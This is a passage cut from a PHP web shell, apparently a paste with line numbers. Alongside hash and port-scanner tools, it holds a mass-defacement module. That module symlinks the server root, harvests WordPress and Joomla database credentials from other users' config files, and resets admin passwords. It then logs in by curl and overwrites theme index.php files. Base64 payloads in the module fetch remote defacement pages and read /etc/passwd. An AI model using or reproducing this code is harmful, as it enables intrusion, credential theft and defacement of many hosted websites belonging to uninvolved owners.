  893. echo '<center>Setting Saved !</center>';
  894. }
  895. }else{
  896. echo "<center>Setting Not Saved !</center>";
  897. }
  898. }
  899. }
  900.  
  901. exit();
  902. }
  903. ////////////////////// APACHE ////////////////////
  904. elseif(isset($_GET['x']) && ($_GET['x'] == 'hashid'))
  905. {
  906. if (isset($_POST['gethash'])) {
  907. $hash = $_POST['hash'];
  908. if (strlen($hash) == 32) {
  909. $hashresult = "MD5 Hash";
  910. } elseif (strlen($hash) == 40) {
  911. $hashresult = "SHA-1 Hash/ /MySQL5 Hash";
  912. } elseif (strlen($hash) == 13) {
  913. $hashresult = "DES(Unix) Hash";
  914. } elseif (strlen($hash) == 16) {
  915. $hashresult = "MySQL Hash / /DES(Oracle Hash)";
  916. } elseif (strlen($hash) == 41) {
  917. $GetHashChar = substr($hash, 40);
  918. if ($GetHashChar == "*") {
  919. $hashresult = "MySQL5 Hash";
  920. }
  921. } elseif (strlen($hash) == 64) {
  922. $hashresult = "SHA-256 Hash";
  923. } elseif (strlen($hash) == 96) {
  924. $hashresult = "SHA-384 Hash";
  925. } elseif (strlen($hash) == 128) {
  926. $hashresult = "SHA-512 Hash";
  927. } elseif (strlen($hash) == 34) {
  928. if (strstr($hash, '$1$')) {
  929. $hashresult = "MD5(Unix) Hash";
  930. }
  931. } elseif (strlen($hash) == 37) {
  932. if (strstr($hash, '$apr1$')) {
  933. $hashresult = "MD5(APR) Hash";
  934. }
  935. } elseif (strlen($hash) == 34) {
  936. if (strstr($hash, '$H$')) {
  937. $hashresult = "MD5(phpBB3) Hash";
  938. }
  939. } elseif (strlen($hash) == 34) {
  940. if (strstr($hash, '$P$')) {
  941. $hashresult = "MD5(Wordpress) Hash";
  942. }
  943. } elseif (strlen($hash) == 39) {
  944. if (strstr($hash, '$5$')) {
  945. $hashresult = "SHA-256(Unix) Hash";
  946. }
  947. } elseif (strlen($hash) == 39) {
  948. if (strstr($hash, '$6$')) {
  949. $hashresult = "SHA-512(Unix) Hash";
  950. }
  951. } elseif (strlen($hash) == 24) {
  952. if (strstr($hash, '==')) {
  953. $hashresult = "MD5(Base-64) Hash";
  954. }
  955. } else {
  956. $hashresult = "Hash type not found";
  957. }
  958. } else {
  959. $hashresult = "Not Hash Ente#ff0066";
  960. }
  961. ?>
  962. <center><br><Br><br>
  963.  
  964. <form action="" method="POST">
  965. <tr>
  966. <table >
  967. <th colspan="5">Hash Identification</th>
  968. <tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
  969. <tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
  970. </table></tr></form>
  971. </center>
  972. <?php
  973. }
  974. //////////////////////////////////////
  975. elseif(isset($_GET['x']) && ($_GET['x'] == 'hashgen'))
  976. {
  977. $submit = $_POST['enter'];
  978.  
  979. if (isset($submit)) {
  980.  
  981. $pass = $_POST['password']; // password
  982.  
  983. $salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
  984.  
  985. $hash = md5($pass); // md5 hash #1
  986.  
  987. $md4 = hash("md4", $pass);
  988. $hash_md5 = md5($salt . $pass); // md5 hash with salt #2
  989.  
  990. $hash_md5_double = md5(sha1($salt . $pass)); // md5 hash with salt & sha1 #3
  991.  
  992. $hash1 = sha1($pass); // sha1 hash #4
  993. $sha256 = hash("sha256", $text);
  994.  
  995. $hash1_sha1 = sha1($salt . $pass); // sha1 hash with salt #5
  996.  
  997. $hash1_sha1_double = sha1(md5($salt . $pass)); // sha1 hash with salt & md5 #6
  998.  
  999.  
  1000. }
  1001. echo '<form action="" method="post"><b> ';
  1002.  
  1003. echo '<center><h2><b>-=[ Password Hash]=-</b></h2></center></tr>';
  1004.  
  1005. echo ' <center><b>masukan kata yang ingin di encrypt:</b></center> ';
  1006.  
  1007. echo ' <center><input class="inputz" type="text" name="password" size="40" />';
  1008.  
  1009. echo '<center><input class="inputzbut" type="submit" name="enter" value="hash" />';
  1010.  
  1011. echo ' <br>';
  1012. echo ' <center>Hasil Hash</th></center></tr>';
  1013.  
  1014. echo ' Original Password <input class=inputz type=text size=50 value=' . $pass . '> <br><br>';
  1015.  
  1016. echo ' MD5 <input class=inputz type=text size=50 value=' . $hash . '> <br><br>';
  1017.  
  1018. echo ' MD4 <input class=inputz type=text size=50 value=' . $md4 . '> <br><br>';
  1019.  
  1020. echo ' MD5 with Salt <input class=inputz type=text size=50 value=' . $hash_md5 . '> <br><br>';
  1021.  
  1022. echo ' MD5 with Salt & Sha1 <input class=inputz type=text size=50 value=' . $hash_md5_double . '> <br><br>';
  1023.  
  1024. echo ' Sha1 <input class=inputz type=text size=50 value=' . $hash1 . '> <br><br>';
  1025.  
  1026. echo ' Sha256 <input class=inputz type=text size=50 value=' . $sha256 . '> <br><br>';
  1027.  
  1028. echo ' Sha1 with Salt <input class=inputz type=text size=50 value=' . $hash1_sha1 . '> <br><br>';
  1029.  
  1030. echo ' Sha1 with Salt & MD5 <input class=inputz type=text size=50 value=' . $hash1_sha1_double . '> <br><br>';
  1031.  
  1032. }
  1033. ////////////////////// PORT SCANNER ////////////////////
  1034. elseif(isset($_GET['x']) && ($_GET['x'] == 'portscan'))
  1035. {
  1036.  
  1037. echo '<center><table><tr><th><center><u>Port Scanner</u></tr></th></center><td>';
  1038. echo '<div class="content">';
  1039. echo '<form action="" method="post">';
  1040.  
  1041. if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  1042. $start = strip_tags($_POST['start']);
  1043. $end = strip_tags($_POST['end']);
  1044. $host = strip_tags($_POST['host']);
  1045. for($i = $start; $i<=$end; $i++){
  1046. $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  1047. if($fp){
  1048. echo 'Port '.$i.' is <font color=green>open</font><br>';
  1049. }
  1050. flush();
  1051. }
  1052. } else {
  1053. echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
  1054. <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
  1055. <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  1056. Host: <input type="text" name="host" value="localhost"/><br /><br />
  1057. Port start: <input type="text" name="start" value="0"/><br /><br />
  1058. Port end:<input type="text" name="end" value="5000"/><br /><br />
  1059. <input type="submit" value="Scan Ports" />
  1060. </form></center><br /><br />';
  1061. echo '</div></table></td>';
  1062.  
  1063. }
  1064. }
  1065. ////////////////////// NGINDEX ////////////////////
  1066. elseif(isset($_GET['x']) && ($_GET['x'] == 'ngindexx'))
  1067. {
  1068. {error_reporting(0);function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){$ar0=explode($marqueurDebutLien, $text);$ar1=explode($marqueurFinLien, $ar0[$i]);return trim($ar1[0]);}function randomt() {$chars = "abcdefghijkmnopqrstuvwxyz023456789";srand((double)microtime()*1000000);$i = 0;$pass = '';while ($i <= 7) {$num = rand() % 33;$tmp = substr($chars, $num, 1);$pass = $pass . $tmp;$i++;}return $pass;}function index_changer_wp($conf, $content) {$output = '';$dol = '$';$go = 0;$username = entre2v2($conf,"define('DB_USER', '","');");$password = entre2v2($conf,"define('DB_PASSWORD', '","');");$dbname = entre2v2($conf,"define('DB_NAME', '","');");$prefix = entre2v2($conf,$dol."table_prefix = '","'");$host = entre2v2($conf,"define('DB_HOST', '","');");$link=mysql_connect($host,$username,$password);if($link) {mysql_select_db($dbname,$link) ;$dol = '$';$req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'admin',`user_pass` = '4297f44b13955235245b2497399d7a93' WHERE `ID` = 1");} else {$output.= "[-] DB Error<br />";}if($req1) {$req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");$data = mysql_fetch_array($req);$site_url=$data["option_value"]; $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='template'");$data = mysql_fetch_array($req);$template = $data["option_value"];$req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='current_theme'");$data = mysql_fetch_array($req);$current_theme = $data["option_value"];$useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";$url2=$site_url."/wp-login.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=123123&rememberme=forever&wp-submit=Log In&testcookie=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);$pos = strpos($buffer,"action=logout");if($pos === false) {$output.= "[-] Login Error<br />";} else {$output.= "[+] Login Successful<br />";$go = 1;}if($go) {$cond = 0;$url2=$site_url."/wp-admin/theme-editor.php?file=/themes/".$template.'/index.php&theme='.urlencode($current_theme).'&dir=theme';curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer0 = curl_exec($ch);$_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');$_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');if(substr_count($_file,"/index.php") != 0){$output.= "[+] index.php loaded in Theme Editor<br />";$url2=$site_url."/wp-admin/theme-editor.php";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".base64_decode($content)."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<div id="message" class="updated">');if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Updated Successfuly<br />";$hk = explode('public_html',$_file);$output.= '[+] Deface '.file_get_contents($site_url.str_replace('/blog','',$hk[1]));$cond = 1;}} else {$url2=$site_url.'/wp-admin/theme-editor.php?file=index.php&theme='.$template;curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer0 = curl_exec($ch);$_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');$_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');if(substr_count($_file,"index.php") != 0){$output.= "[+] index.php loaded in Theme Editor<br />";$url2=$site_url."/wp-admin/theme-editor.php";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".base64_decode($content)."&action=update&file=".$_file."&theme=".$template."&_wpnonce=".$_wpnonce."&submit=Update File");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<div id="message" class="updated">');if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Template Updated Successfuly<br />";$output.= '[+] Deface '.file_get_contents($site_url.'/wp-content/themes/'.$template.'/index.php');$cond = 1;}} else {$output.= "[-] index.php can not load in Theme Editor<br />";}}}} else {$output.= "[-] DB Error<br />";}global $base_path;unlink($base_path.'COOKIE.txt');return array('cond'=>$cond, 'output'=>$output);}function index_changer_joomla($conf, $content, $domain) {$doler = '$';$username = entre2v2($conf, $doler."user = '", "';");$password = entre2v2($conf, $doler."password = '", "';");$dbname = entre2v2($conf, $doler."db = '", "';");$prefix = entre2v2($conf, $doler."dbprefix = '", "';");$host = entre2v2($conf, $doler."host = '","';");$co=randomt();$site_url = "http://".$domain."/administrator";$output = '';$cond = 0; $link=mysql_connect($host, $username, $password);if($link) {mysql_select_db($dbname,$link) ;$req1 = mysql_query("UPDATE `".$prefix."users` SET `username` ='admin' , `password` = '4297f44b13955235245b2497399d7a93', `usertype` = 'Super Administrator', `block` = 0");$req = mysql_numrows(mysql_query("SHOW TABLES LIKE '".$prefix."extensions'"));} else {$output.= "[-] DB Error<br />";}if($req1){if ($req) {$req = mysql_query("SELECT * from `".$prefix."template_styles` WHERE `client_id` = '0' and `home` = '1'");$data = mysql_fetch_array($req);$template_name = $data["template"];$req = mysql_query("SELECT * from `".$prefix."extensions` WHERE `name`='".$template_name."' or `element` = '".$template_name."'");$data = mysql_fetch_array($req);$template_id = $data["extension_id"];$url2=$site_url."/index.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$return = entre2v2($buffer ,'<input type="hidden" name="return" value="','"');$hidden = entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);if($return && $hidden) {curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_REFERER, $url2);curl_setopt($ch, CURLOPT_POSTFIELDS, "username=admin&passwd=123123&option=com_login&task=login&return=".$return."&".$hidden."=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$pos = strpos($buffer,"com_config");if($pos === false) {$output.= "[-] Login Error<br />";} else {$output.= "[+] Login Successful<br />";}}if($pos){$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);if($hidden2) {$output.= "[+] index.php file found in Theme Editor<br />";} else {$output.= "[-] index.php Not found in Theme Editor<br />";}}if($hidden2) {$url2=$site_url."/index.php?option=com_templates&layout=edit";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$content."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<dd class="message message">');$cond = 0;if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Template successfully saved<br />";$cond = 1;}}} else {$req =mysql_query("SELECT * from `".$prefix."templates_menu` WHERE client_id='0'");$data = mysql_fetch_array($req);$template_name=$data["template"];$useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";$url2=$site_url."/index.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);if($hidden) {curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456&option=com_login&task=login&".$hidden."=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$pos = strpos($buffer,"com_config");if($pos === false) {$output.= "[-] Login Error<br />";} else {$output.= "[+] Login Successful<br />";}}if($pos) {$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);if($hidden2) {$output.= "[+] index.php file founded in Theme Editor<br />";} else {$output.= "[-] index.php Not found in Theme Editor<br />";}}if($hidden2) {$url2=$site_url."/index.php?option=com_templates&layout=edit";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$content."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co);$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<dd class="message message fade">');$cond = 0;if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Template successfully saved<br />";$cond = 1;}}}} else {$output.= "[-] DB Error<br />";}global $base_path;unlink($base_path.$co);return array('cond'=>$cond, 'output'=>$output); }function exec_mode_1($def_url) {@mkdir('sym',0777);$wr = "Options all n DirectoryIndex Sux.html n AddType text/plain .php n AddHandler server-parsed .php n AddType text/plain .html n AddHandler txt .html n Require None n Satisfy Any";$fp = @fopen ('sym/.htaccess','w');fwrite($fp, $wr);@symlink('/','sym/root');$dominios = @file_get_contents("/etc/named.conf");@preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);$out[1] = array_unique($out[1]);$numero_dominios = count($out[1]);echo "Total domains: $numero_dominios <br><br />";$def = file_get_contents($def_url);$def = urlencode($def);$dd = 'PD9waHANCiRkZWYgPSBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3pvbmVobWlycm9ycy5vcmcvZGVmYWNlZC8yMDEzLzAzLzE5L2Fzc29jaWFwcmVzcy5uZXQnKTsNCiRwID0gZXhwbG9kZSgncHVibGljX2h0bWwnLGRpcm5hbWUoX19GSUxFX18pKTsNCiRwID0gJHBbMF0uJ3B1YmxpY19odG1sJzsNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkcCkpIHsNCiAgICAkZnAxID0gQGZvcGVuKCRwLicvaW5kZXguaHRtbCcsJ3crJyk7DQogICAgQGZ3cml0ZSgkZnAxLCAkZGVmKTsNCiAgICAkZnAxID0gQGZvcGVuKCRwLicvaW5kZXgucGhwJywndysnKTsNCiAgICBAZndyaXRlKCRmcDEsICRkZWYpOw0KICAgICRmcDEgPSBAZm9wZW4oJHAuJy9pbmRleC5odG0nLCd3KycpOw0KICAgIEBmd3JpdGUoJGZwMSwgJGRlZik7DQogICAgZWNobyAnRG9uZSc7DQp9DQpjbG9zZWRpcigkaGFuZGxlKTsNCnVubGluayhfX0ZJTEVfXyk7DQo/Pg==';$base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/sym/root/home/';$output = fopen('defaced.html', 'a+');$_SESSION['count1'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] :0 ) : 0;$_SESSION['count2'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] :0 ) : 0;echo '<table style="width:75%;" align="center"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';$j = 1;$st = (isset($_GET['st']) && $_GET['st']!='') ? $_GET['st'] : 0;for($i = $st; $i <= $numero_dominios; $i++){$domain = $out[1][$i];$dono_arquivo = @fileowner("/etc/valiases/".$domain);$infos = @posix_getpwuid($dono_arquivo);if($infos['name']!='root') {$config01 = @file_get_contents($base_url.$infos['name']."/public_html/configuration.php");$config02 = @file_get_contents($base_url.$infos['name']."/public_html/wp-config.php");$config03 = @file_get_contents($base_url.$infos['name']."/public_html/blog/wp-config.php");$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config01 && preg_match('/dbprefix/i',$config01)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="pink">JOOMLA</font></td>';$res = index_changer_joomla($config01, $def, $domain);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$_SESSION['count1'] = $_SESSION['count1'] + 1;} else {echo '<td align="center"><span class="#ff0066">FAILED</span></td>';}echo '</tr>';}if($config02 && preg_match('/DB_NAME/i',$config02)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config02, $dd);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$_SESSION['count2'] = $_SESSION['count2'] + 1;} else {echo '<td align="center"><span class="#ff0066">FAILED</span></td>';}echo '</tr>';}$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config03 && preg_match('/DB_NAME/i',$config03)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config03, $dd);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$_SESSION['count2'] = $_SESSION['count2'] + 1;} else {echo '<td align="center"><span class="#ff0066">FAILED</span></td>';}echo '</tr>';}}}echo '</table>';echo '<hr/>';echo 'Total Defaced = '.($_SESSION['count1']+$_SESSION['count2']).' (JOOMLA = '.$_SESSION['count1'].', WORDPRESS = '.$_SESSION['count2'].')<br />';echo '<a href="defaced.html" target="_blank">View Total Defaced urls</a><br />';if($_SESSION['count1']+$_SESSION['count2'] > 0){echo '<a href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';}}function exec_mode_2($def_url) {$domains = @file_get_contents("/etc/named.conf");@preg_match_all('/.*?zone "(.*?)" {/', $domains, $out);$out = array_unique($out[1]);$num = count($out);print("Total domains: $num<br><br />");$def = file_get_contents($def_url);$def = urlencode($def);$output = fopen('defaced.html', 'a+');$defaced = '';$count1 = 0;$count2 = 0;echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';$j = 1;$map = array();foreach($out as $d) {$info = @posix_getpwuid(fileowner("/etc/valiases/".$d));$map[$info['name']] = $d;}$dt = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiAgICAkbXNyID0gcXh7cHdkfTs
  1069. NCiAgICAka29sYT0kbXNyLiIvIi4kdXNlcjsNCiAgICAka29sYT1+cy9cbi8vZzsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2
  1070. h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicjI2pvb21sYS50eHQnKTsgDQogICAgc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19od
  1071. G1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLicjI3dvcmRwcmVzcy50eHQnKTsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwv
  1072. YmxvZy93cC1jb25maWcucGhwJywka29sYS4nIyNzd29yZHByZXNzLnR4dCcpOw0KfQ0KDQpsb2NhbCAkLzsNCm9wZW4oRklMRSwgJy9ldGMvcGFzc3d
  1073. kJyk7ICANCkBsaW5lcyA9IDxGSUxFPjsgDQpjbG9zZShGSUxFKTsNCiR5ID0gQGxpbmVzOw0KDQpmb3IoJGthPTA7JGthPCR5OyRrYSsrKXsNCiAgIC
  1074. B3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiAgICAgICAgJmxpbCgkMSk7DQogICAgfQ0KfQ==';mkdir('plsym',0777);file_put_contents('plsym/plsym.cc', base64_decode($dt));chmod('plsym/plsym.cc', 0755);$wr = "Options FollowSymLinks MultiViews Indexes ExecCGInnAddType application/x-httpd-cgi .ccnnAddHandler cgi-script .ccnAddHandler cgi-script .cc";$fp = @fopen ('plsym/.htaccess','w');fwrite($fp, $wr);fclose($fp);$res = file_get_contents('http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/plsym/plsym.cc'); $url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/plsym/';unlink('plsym/plsym.cc');$data = file_get_contents($url);preg_match_all('/<a href="(.+)">/', $data, $match);unset($match[1][0]);$i = 1;foreach($match[1] as $m){$mz = explode('##',urldecode($m));$config01 = '';$config02 = '';if($mz[1] == 'joomla.txt') {$config01 = file_get_contents($url.$m);}if($mz[1] == 'wordpress.txt') {$config02 = file_get_contents($url.$m);}$domain = $map[$mz[0]];$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config01 && preg_match('/dbprefix/i',$config01)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i++.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="pink">JOOMLA</font></td>';$res = index_changer_joomla($config01, $def, $domain);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count1++;} else {echo '<td align="center"><span class="#ff0066">FAILED</span></td>';}echo '</tr>';}if($config02 && preg_match('/DB_NAME/i',$config02)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = 